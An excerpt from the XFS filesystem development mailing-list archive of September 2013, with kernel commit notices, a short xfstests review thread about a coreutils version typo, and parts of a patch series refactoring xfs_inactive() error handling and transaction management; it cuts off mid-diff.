Cc: Steven Whitehouse Cc: Thomas Hellstrom Cc: Trond Myklebust Signed-off-by: Andrew Morton Signed-off-by: Al Viro commit 300893b08f3bc7057a7a5f84074090ba66c8b5ca Merge: 45150c4 1d03c6f Author: Linus Torvalds Date: Mon Sep 9 11:19:09 2013 -0700 Merge tag 'xfs-for-linus-v3.12-rc1' of git://oss.sgi.com/xfs/xfs Pull xfs updates from Ben Myers: "For 3.12-rc1 there are a number of bugfixes in addition to work to ease usage of shared code between libxfs and the kernel, the rest of the work to enable project and group quotas to be used simultaneously, performance optimisations in the log and the CIL, directory entry file type support, fixes for log space reservations, some spelling/grammar cleanups, and the addition of user namespace support. - introduce readahead to log recovery - add directory entry file type support - fix a number of spelling errors in comments - introduce new Q_XGETQSTATV quotactl for project quotas - add USER_NS support - log space reservation rework - CIL optimisations - kernel/userspace libxfs rework" * tag 'xfs-for-linus-v3.12-rc1' of git://oss.sgi.com/xfs/xfs: (112 commits) xfs: XFS_MOUNT_QUOTA_ALL needed by userspace xfs: dtype changed xfs_dir2_sfe_put_ino to xfs_dir3_sfe_put_ino Fix wrong flag ASSERT in xfs_attr_shortform_getvalue xfs: finish removing IOP_* macros. xfs: inode log reservations are too small xfs: check correct status variable for xfs_inobt_get_rec() call xfs: inode buffers may not be valid during recovery readahead xfs: check LSN ordering for v5 superblocks during recovery xfs: btree block LSN escaping to disk uninitialised XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 xfs: fix bad dquot buffer size in log recovery readahead xfs: don't account buffer cancellation during log recovery readahead xfs: check for underflow in xfs_iformat_fork() xfs: xfs_dir3_sfe_put_ino can be static xfs: introduce object readahead to log recovery xfs: Simplify xfs_ail_min() with list_first_entry_or_null() xfs: Register hotcpu notifier after initialization xfs: add xfs sb v4 support for dirent filetype field xfs: Add write support for dirent filetype field xfs: Add read-only support for dirent filetype field ... commit 7b7a8665edd8db733980389b098530f9e4f630b2 Author: Christoph Hellwig Date: Wed Sep 4 15:04:39 2013 +0200 direct-io: Implement generic deferred AIO completions Add support to the core direct-io code to defer AIO completions to user context using a workqueue. This replaces opencoded and less efficient code in XFS and ext4 (we save a memory allocation for each direct IO) and will be needed to properly support O_(D)SYNC for AIO. The communication between the filesystem and the direct I/O code requires a new buffer head flag, which is a bit ugly but not avoidable until the direct I/O code stops abusing the buffer_head structure for communicating with the filesystems. Currently this creates a per-superblock unbound workqueue for these completions, which is taken from an earlier patch by Jan Kara. I'm not really convinced about this use and would prefer a "normal" global workqueue with a high concurrency limit, but this needs further discussion. JK: Fixed ext4 part, dynamic allocation of the workqueue. Signed-off-by: Christoph Hellwig Signed-off-by: Jan Kara Signed-off-by: Al Viro commit e1b4271ac261b290fdab51446996fb13e68a57be Author: Dave Chinner Date: Wed Jul 24 15:47:30 2013 +1000 xfs: di_flushiter considered harmful When we made all inode updates transactional, we no longer needed the log recovery detection for inodes being newer on disk than the transaction being replayed - it was redundant as replay of the log would always result in the latest version of the inode would be on disk. It was redundant, but left in place because it wasn't considered to be a problem. However, with the new "don't read inodes on create" optimisation, flushiter has come back to bite us. Essentially, the optimisation made always initialises flushiter to zero in the create transaction, and so if we then crash and run recovery and the inode already on disk has a non-zero flushiter it will skip recovery of that inode. As a result, log recovery does the wrong thing and we end up with a corrupt filesystem. Because we have to support old kernel to new kernel upgrades, we can't just get rid of the flushiter support in log recovery as we might be upgrading from a kernel that doesn't have fully transactional inode updates. Unfortunately, for v4 superblocks there is no way to guarantee that log recovery knows about this fact. We cannot add a new inode format flag to say it's a "special inode create" because it won't be understood by older kernels and so recovery could do the wrong thing on downgrade. We cannot specially detect the combination of zero mode/non-zero flushiter on disk to non-zero mode, zero flushiter in the log item during recovery because wrapping of the flushiter can result in false detection. Hence that makes this "don't use flushiter" optimisation limited to a disk format that guarantees that we don't need it. And that means the only fix here is to limit the "no read IO on create" optimisation to version 5 superblocks.... Reported-by: Markus Trippelsdorf Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers (cherry picked from commit e60896d8f2b81412421953e14d3feb14177edb56) ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_aops.c | 32 ++---- fs/xfs/xfs_aops.h | 3 - fs/xfs/xfs_buf.c | 253 +++++++++++++++++++++++---------------------- fs/xfs/xfs_buf.h | 17 ++-- fs/xfs/xfs_dquot.c | 7 +- fs/xfs/xfs_icache.c | 4 +- fs/xfs/xfs_icache.h | 2 +- fs/xfs/xfs_qm.c | 287 +++++++++++++++++++++++++++------------------------- fs/xfs/xfs_qm.h | 4 +- fs/xfs/xfs_super.c | 12 ++- 10 files changed, 312 insertions(+), 309 deletions(-) hooks/post-receive -- XFS development tree From idryomov@gmail.com Thu Sep 19 11:54:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2E8097CBF for ; Thu, 19 Sep 2013 11:54:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id F02F0304053 for ; Thu, 19 Sep 2013 09:54:54 -0700 (PDT) X-ASG-Debug-ID: 1379609692-04bdf02f2212229c0001-NocioJ Received: from mail-wi0-f178.google.com (mail-wi0-f178.google.com [209.85.212.178]) by cuda.sgi.com with ESMTP id PolMQNlVeVj4Dp5G (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 19 Sep 2013 09:54:53 -0700 (PDT) X-Barracuda-Envelope-From: idryomov@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.178 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.178] Received: by mail-wi0-f178.google.com with SMTP id hn9so8354406wib.17 for ; Thu, 19 Sep 2013 09:54:52 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.178] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.178] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=nA7SQFW8W1s9NMmqqjTpOJ61ydFhenWJB757M8QbDQs=; b=hrDxvAcLnukZ4TBzQdz3BsNKW7/r+NTkF2+Ix/FdReQpFaeuqY+pc1wVP+H3meLGjs yCjl9CHaWfjOB4Oem/BpG3wBUKFtSR3fps5tSIsk5VFjom92Zo0NaTRu8EOC1a1DUen4 9WNuDXPDooCp8ikcSPpXmcaBwvucLhpLu8U8V44IcBe0Z2f0VLXfuA8UnM7DW5ywjdai G8PsGqcFS0/MpJeP78NrwN6DREtwVJM2Iahuy1C3EcaWpKNEIqfqKTbfleQ3HBgV3Mf6 ahijG/t6AOr9IRmOHLopJOV/TunTno/VkJatREYN1hU69B2HaZgJpHA06jnvgKx12uqW wGDQ== MIME-Version: 1.0 X-Received: by 10.194.22.97 with SMTP id c1mr2210833wjf.43.1379609692098; Thu, 19 Sep 2013 09:54:52 -0700 (PDT) Received: by 10.194.55.41 with HTTP; Thu, 19 Sep 2013 09:54:52 -0700 (PDT) In-Reply-To: <523B2455.4000609@redhat.com> References: <1379536166-19232-1-git-send-email-jbacik@fusionio.com> <20130918211325.GB4330@dastard> <523B2455.4000609@redhat.com> Date: Thu, 19 Sep 2013 19:54:52 +0300 Message-ID: Subject: Re: [PATCH] xfstests: unify apostrophes in output files From: Ilya Dryomov X-ASG-Orig-Subj: Re: [PATCH] xfstests: unify apostrophes in output files To: Eric Sandeen Cc: Dave Chinner , Josef Bacik , xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-wi0-f178.google.com[209.85.212.178] X-Barracuda-Start-Time: 1379609693 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140756 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Thu, Sep 19, 2013 at 7:20 PM, Eric Sandeen wrote: > xfstests: unify apostrophes in output files > > From: Tomas Racek > > With coreutils v8.16 the style of apostrophes changed from `word' to > 'word'. This is breaking some tests which use the older form. > > This commit introduces function changes the golden output of the > affected tests and introduces a filter for the older style output. > > [dchinner: modified to use a global filter in check rather than > per-test filters] > > Signed-off-by: Tomas Racek > Signed-off-by: Dave Chinner > Reviewed-by: Eric Sandeen > --- > > (Resending as proper top-level, modified, reviewed patch --Eric) > > check | 4 ++++ > common/config | 1 + > tests/generic/193.out | 16 ++++++++-------- > tests/generic/230.out | 8 ++++---- > tests/generic/235.out | 2 +- > tests/generic/245.out | 2 +- > tests/generic/294.out | 8 ++++---- > tests/generic/306.out | 2 +- > tests/xfs/103.out | 2 +- > tests/xfs/200.out | 2 +- > 10 files changed, 26 insertions(+), 21 deletions(-) > > diff --git a/check b/check > index 4085eae..ba7fd21 100755 > --- a/check > +++ b/check > @@ -478,6 +478,10 @@ do > echo " - no qualified output" > err=true > else > + > + # coreutils 2.16+ changed quote formats in error messages from Should that be 8.16+? Thanks, Ilya From sandeen@sandeen.net Thu Sep 19 12:03:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ECA207CBF for ; Thu, 19 Sep 2013 12:03:36 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7BDEDAC005 for ; Thu, 19 Sep 2013 10:03:33 -0700 (PDT) X-ASG-Debug-ID: 1379610211-04cb6c2e9d11df650001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id mpblBxpJZsZ8MtJx for ; Thu, 19 Sep 2013 10:03:32 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 50082603BE8B; Thu, 19 Sep 2013 12:03:31 -0500 (CDT) Message-ID: <523B2E62.7030801@sandeen.net> Date: Thu, 19 Sep 2013 12:03:30 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Ilya Dryomov CC: Eric Sandeen , linux-btrfs@vger.kernel.org, Josef Bacik , xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: unify apostrophes in output files References: <1379536166-19232-1-git-send-email-jbacik@fusionio.com> <20130918211325.GB4330@dastard> <523B2455.4000609@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: unify apostrophes in output files In-Reply-To: X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379610211 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140756 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/19/13 11:54 AM, Ilya Dryomov wrote: ... >> diff --git a/check b/check >> index 4085eae..ba7fd21 100755 >> --- a/check >> +++ b/check >> @@ -478,6 +478,10 @@ do >> echo " - no qualified output" >> err=true >> else >> + >> + # coreutils 2.16+ changed quote formats in error messages from > > Should that be 8.16+? probably so! > Thanks, > > Ilya > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From bfoster@redhat.com Thu Sep 19 14:15:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2A4F87F37 for ; Thu, 19 Sep 2013 14:15:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id AA892AC002 for ; Thu, 19 Sep 2013 12:15:23 -0700 (PDT) X-ASG-Debug-ID: 1379618122-04cb6c2e9f11ec020001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 0MU1rDjFdTEouBgI for ; Thu, 19 Sep 2013 12:15:22 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8JJFMRl022301 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 19 Sep 2013 15:15:22 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8JJFLfe009189 for ; Thu, 19 Sep 2013 15:15:22 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 3529E123236; Thu, 19 Sep 2013 15:15:21 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v2 0/4] xfs: rework xfs_inactive() Date: Thu, 19 Sep 2013 15:15:17 -0400 X-ASG-Orig-Subj: [PATCH v2 0/4] xfs: rework xfs_inactive() Message-Id: <1379618121-35105-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379618122 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi all, This set reworks the xfs_inactive() path with the intent to clean up the transaction management overall. This is preparation work for the free inode btree set and subsequent work in the area. The patches clean up the remote symlink work, truncate work and ifree work respectively. This passes through a quick xfstests run (with debug and lockdep) without any major explosions. Thoughts appreciated. Brian v2: - Cleaned up error handling throughout the set. - Added inode locking to xfs_inactive_symlink(). - Added patch 4 to clean up xfs_inactive() after transaction management purge. Brian Foster (4): xfs: push down inactive transaction mgmt for remote symlinks xfs: push down inactive transaction mgmt for truncate xfs: push down inactive transaction mgmt for ifree xfs: clean up xfs_inactive() error handling, kill VN_INACTIVE_[NO]CACHE fs/xfs/xfs_inode.c | 241 +++++++++++++++++++++++++++++---------------------- fs/xfs/xfs_inode.h | 2 +- fs/xfs/xfs_symlink.c | 81 ++++++++--------- fs/xfs/xfs_symlink.h | 2 +- fs/xfs/xfs_vnode.h | 8 -- 5 files changed, 174 insertions(+), 160 deletions(-) -- 1.8.1.4 From bfoster@redhat.com Thu Sep 19 14:15:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 19E5E7CBF for ; Thu, 19 Sep 2013 14:15:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9FA54AC001 for ; Thu, 19 Sep 2013 12:15:23 -0700 (PDT) X-ASG-Debug-ID: 1379618122-04cbb02c3e11e4010001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ZXrXAPGw2Nn1FdLz for ; Thu, 19 Sep 2013 12:15:22 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8JJFMdO021125 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 19 Sep 2013 15:15:22 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8JJFL8g009193 for ; Thu, 19 Sep 2013 15:15:22 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 694D4123405; Thu, 19 Sep 2013 15:15:21 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v2 4/4] xfs: clean up xfs_inactive() error handling, kill VN_INACTIVE_[NO]CACHE Date: Thu, 19 Sep 2013 15:15:21 -0400 X-ASG-Orig-Subj: [PATCH v2 4/4] xfs: clean up xfs_inactive() error handling, kill VN_INACTIVE_[NO]CACHE Message-Id: <1379618121-35105-5-git-send-email-bfoster@redhat.com> In-Reply-To: <1379618121-35105-1-git-send-email-bfoster@redhat.com> References: <1379618121-35105-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379618122 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The xfs_inactive() return value is meaningless. Turn xfs_inactive() into a void function and clean up the error handling appropriately. Kill the VN_INACTIVE_[NO]CACHE directives as they are not relevant to Linux. Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 28 +++++++++++----------------- fs/xfs/xfs_inode.h | 2 +- fs/xfs/xfs_vnode.h | 8 -------- 3 files changed, 12 insertions(+), 26 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index dde182e..6b08fd2 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1790,7 +1790,7 @@ xfs_inactive_ifree( * now be truncated. Also, we clear all of the read-ahead state * kept for the inode here since the file is now closed. */ -int +void xfs_inactive( xfs_inode_t *ip) { @@ -1805,16 +1805,14 @@ xfs_inactive( if (ip->i_d.di_mode == 0 || is_bad_inode(VFS_I(ip))) { ASSERT(ip->i_df.if_real_bytes == 0); ASSERT(ip->i_df.if_broot_bytes == 0); - return VN_INACTIVE_CACHE; + return; } mp = ip->i_mount; - error = 0; - /* If this is a read-only mount, don't do this (would generate I/O) */ if (mp->m_flags & XFS_MOUNT_RDONLY) - goto out; + return; if (ip->i_d.di_nlink != 0) { /* @@ -1822,12 +1820,10 @@ xfs_inactive( * cache. Post-eof blocks must be freed, lest we end up with * broken free space accounting. */ - if (xfs_can_free_eofblocks(ip, true)) { - error = xfs_free_eofblocks(mp, ip, false); - if (error) - return VN_INACTIVE_CACHE; - } - goto out; + if (xfs_can_free_eofblocks(ip, true)) + xfs_free_eofblocks(mp, ip, false); + + return; } if (S_ISREG(ip->i_d.di_mode) && @@ -1837,14 +1833,14 @@ xfs_inactive( error = xfs_qm_dqattach(ip, 0); if (error) - return VN_INACTIVE_CACHE; + return; if (S_ISLNK(ip->i_d.di_mode)) error = xfs_inactive_symlink(ip); else if (truncate) error = xfs_inactive_truncate(ip); if (error) - goto out; + return; /* * If there are attributes associated with the file then blow them away @@ -1857,7 +1853,7 @@ xfs_inactive( error = xfs_attr_inactive(ip); if (error) - goto out; + return; } if (ip->i_afp) @@ -1870,14 +1866,12 @@ xfs_inactive( */ error = xfs_inactive_ifree(ip); if (error) - goto out; + return; /* * Release the dquots held by inode, if any. */ xfs_qm_dqdetach(ip); -out: - return VN_INACTIVE_CACHE; } /* diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 4a91358..cce62ce 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -316,7 +316,7 @@ static inline int xfs_isiflocked(struct xfs_inode *ip) int xfs_release(struct xfs_inode *ip); -int xfs_inactive(struct xfs_inode *ip); +void xfs_inactive(struct xfs_inode *ip); int xfs_lookup(struct xfs_inode *dp, struct xfs_name *name, struct xfs_inode **ipp, struct xfs_name *ci_name); int xfs_create(struct xfs_inode *dp, struct xfs_name *name, diff --git a/fs/xfs/xfs_vnode.h b/fs/xfs/xfs_vnode.h index db14d0c..3e8e797 100644 --- a/fs/xfs/xfs_vnode.h +++ b/fs/xfs/xfs_vnode.h @@ -25,14 +25,6 @@ struct xfs_inode; struct attrlist_cursor_kern; /* - * Return values for xfs_inactive. A return value of - * VN_INACTIVE_NOCACHE implies that the file system behavior - * has disassociated its state and bhv_desc_t from the vnode. - */ -#define VN_INACTIVE_CACHE 0 -#define VN_INACTIVE_NOCACHE 1 - -/* * Flags for read/write calls - same values as IRIX */ #define IO_ISDIRECT 0x00004 /* bypass page cache */ -- 1.8.1.4 From bfoster@redhat.com Thu Sep 19 14:15:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C72BF29E04 for ; Thu, 19 Sep 2013 14:15:26 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id A71998F8084 for ; Thu, 19 Sep 2013 12:15:23 -0700 (PDT) X-ASG-Debug-ID: 1379618122-04cb6c2e9d11ec020001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id qdRjAc34vYAw3AQ6 for ; Thu, 19 Sep 2013 12:15:22 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8JJFMEf026996 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 19 Sep 2013 15:15:22 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8JJFLuQ009191 for ; Thu, 19 Sep 2013 15:15:22 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 4F1A81233CD; Thu, 19 Sep 2013 15:15:21 -0400 (EDT) From: Brian Foster To: xfs@oss.sgi.com Subject: [PATCH v2 2/4] xfs: push down inactive transaction mgmt for truncate Date: Thu, 19 Sep 2013 15:15:19 -0400 X-ASG-Orig-Subj: [PATCH v2 2/4] xfs: push down inactive transaction mgmt for truncate Message-Id: <1379618121-35105-3-git-send-email-bfoster@redhat.com> In-Reply-To: <1379618121-35105-1-git-send-email-bfoster@redhat.com> References: <1379618121-35105-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379618122 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Create the new xfs_inactive_truncate() function to handle the truncate portion of xfs_inactive(). Push the locking and transaction management into the new function. Signed-off-by: Brian Foster --- fs/xfs/xfs_inode.c | 117 +++++++++++++++++++++++++++++++---------------------- 1 file changed, 68 insertions(+), 49 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 30db70e..33bb9be 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -1663,6 +1663,58 @@ xfs_release( } /* + * xfs_inactive_truncate + * + * Called to perform a truncate when an inode becomes unlinked. + */ +STATIC int +xfs_inactive_truncate( + struct xfs_inode *ip) +{ + struct xfs_mount *mp = ip->i_mount; + struct xfs_trans *tp; + int error; + + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); + if (error) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); + goto error_trans_cancel; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + + /* + * Log the inode size first to prevent stale data exposure in the event + * of a system crash before the truncate completes. See the related + * comment in xfs_setattr_size() for details. + */ + ip->i_d.di_size = 0; + xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); + + error = xfs_itruncate_extents(&tp, ip, XFS_DATA_FORK, 0); + if (error) + goto error_unlock; + + ASSERT(ip->i_d.di_nextents == 0); + + error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); + if (error) + goto error_unlock; + + xfs_iunlock(ip, XFS_ILOCK_EXCL); + return 0; + +error_unlock: + xfs_iunlock(ip, XFS_ILOCK_EXCL); +error_trans_cancel: + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES | XFS_TRANS_ABORT); + return error; +} + +/* * xfs_inactive * * This is called when the vnode reference count for the vnode @@ -1679,7 +1731,6 @@ xfs_inactive( int committed; struct xfs_trans *tp; struct xfs_mount *mp; - struct xfs_trans_res *resp; int error; int truncate = 0; @@ -1724,35 +1775,12 @@ xfs_inactive( if (error) return VN_INACTIVE_CACHE; - if (S_ISLNK(ip->i_d.di_mode)) { + if (S_ISLNK(ip->i_d.di_mode)) error = xfs_inactive_symlink(ip); - if (error) - goto out; - } - - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - resp = truncate ? &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; - - error = xfs_trans_reserve(tp, resp, 0, 0); - if (error) { - ASSERT(XFS_FORCED_SHUTDOWN(mp)); - xfs_trans_cancel(tp, 0); - return VN_INACTIVE_CACHE; - } - - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); - - if (truncate) { - ip->i_d.di_size = 0; - xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); - - error = xfs_itruncate_extents(&tp, ip, XFS_DATA_FORK, 0); - if (error) - goto out_cancel; - - ASSERT(ip->i_d.di_nextents == 0); - } + else if (truncate) + error = xfs_inactive_truncate(ip); + if (error) + goto out; /* * If there are attributes associated with the file then blow them away @@ -1763,25 +1791,9 @@ xfs_inactive( if (ip->i_d.di_anextents > 0) { ASSERT(ip->i_d.di_forkoff != 0); - error = xfs_trans_commit(tp, XFS_TRANS_RELEASE_LOG_RES); - if (error) - goto out_unlock; - - xfs_iunlock(ip, XFS_ILOCK_EXCL); - error = xfs_attr_inactive(ip); if (error) goto out; - - tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); - if (error) { - xfs_trans_cancel(tp, 0); - goto out; - } - - xfs_ilock(ip, XFS_ILOCK_EXCL); - xfs_trans_ijoin(tp, ip, 0); } if (ip->i_afp) @@ -1789,6 +1801,17 @@ xfs_inactive( ASSERT(ip->i_d.di_anextents == 0); + tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); + if (error) { + ASSERT(XFS_FORCED_SHUTDOWN(mp)); + xfs_trans_cancel(tp, XFS_TRANS_RELEASE_LOG_RES); + goto out; + } + + xfs_ilock(ip, XFS_ILOCK_EXCL); + xfs_trans_ijoin(tp, ip, 0); + /* * Free the inode. */ @@ -1831,13 +1854,9 @@ xfs_inactive( * Release the dquots held by inode, if any. */ 